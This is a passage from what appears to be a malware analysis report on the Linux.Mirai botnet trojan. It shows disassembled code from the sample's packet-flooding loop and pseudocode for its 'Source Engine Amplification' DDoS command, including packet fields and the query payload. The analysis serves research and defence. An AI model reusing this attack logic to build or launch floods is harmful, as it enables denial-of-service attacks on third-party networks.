Investigation of Linux.Mirai Trojan family

33
33
.text:0804AD5E add esp, 18h
.text:0804AD61 shl eax, 3
.text:0804AD64 mov [eax+ecx+0Ah], dx
.text:0804AD69 lea eax, [ecx+eax+8]
.text:0804AD6D push 10h
.text:0804AD6F push eax
.text:0804AD70 push 4000h
.text:0804AD75 push ebp
.text:0804AD76 push esi
.text:0804AD77 mov esi, [esp+78h+fd]
.text:0804AD7B push esi
.text:0804AD7C call ___libc_sendto
.text:0804AD81 mov eax, [esp+7Ch+counter]
.text:0804AD85 inc eax
.text:0804AD86 mov [esp+7Ch+counter], eax
.text:0804AD8A add esp, 20h
.text:0804AD8D cmp eax, [esp+5Ch+target_count_2]
.text:0804AD91 jl send_to_next_target
.text:0804AD97 mov ecx, [esp+5Ch+target_count_2]
.text:0804AD9B test ecx, ecx
.text:0804AD9D jmp and_again
cmd1 – Source Engine Amplification
It operates like the previous command; however, the packet’s content is retrieved from the configuration:
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by
default
tsource = (char *)get_data_from_config(8); // get "TSource Engine Query"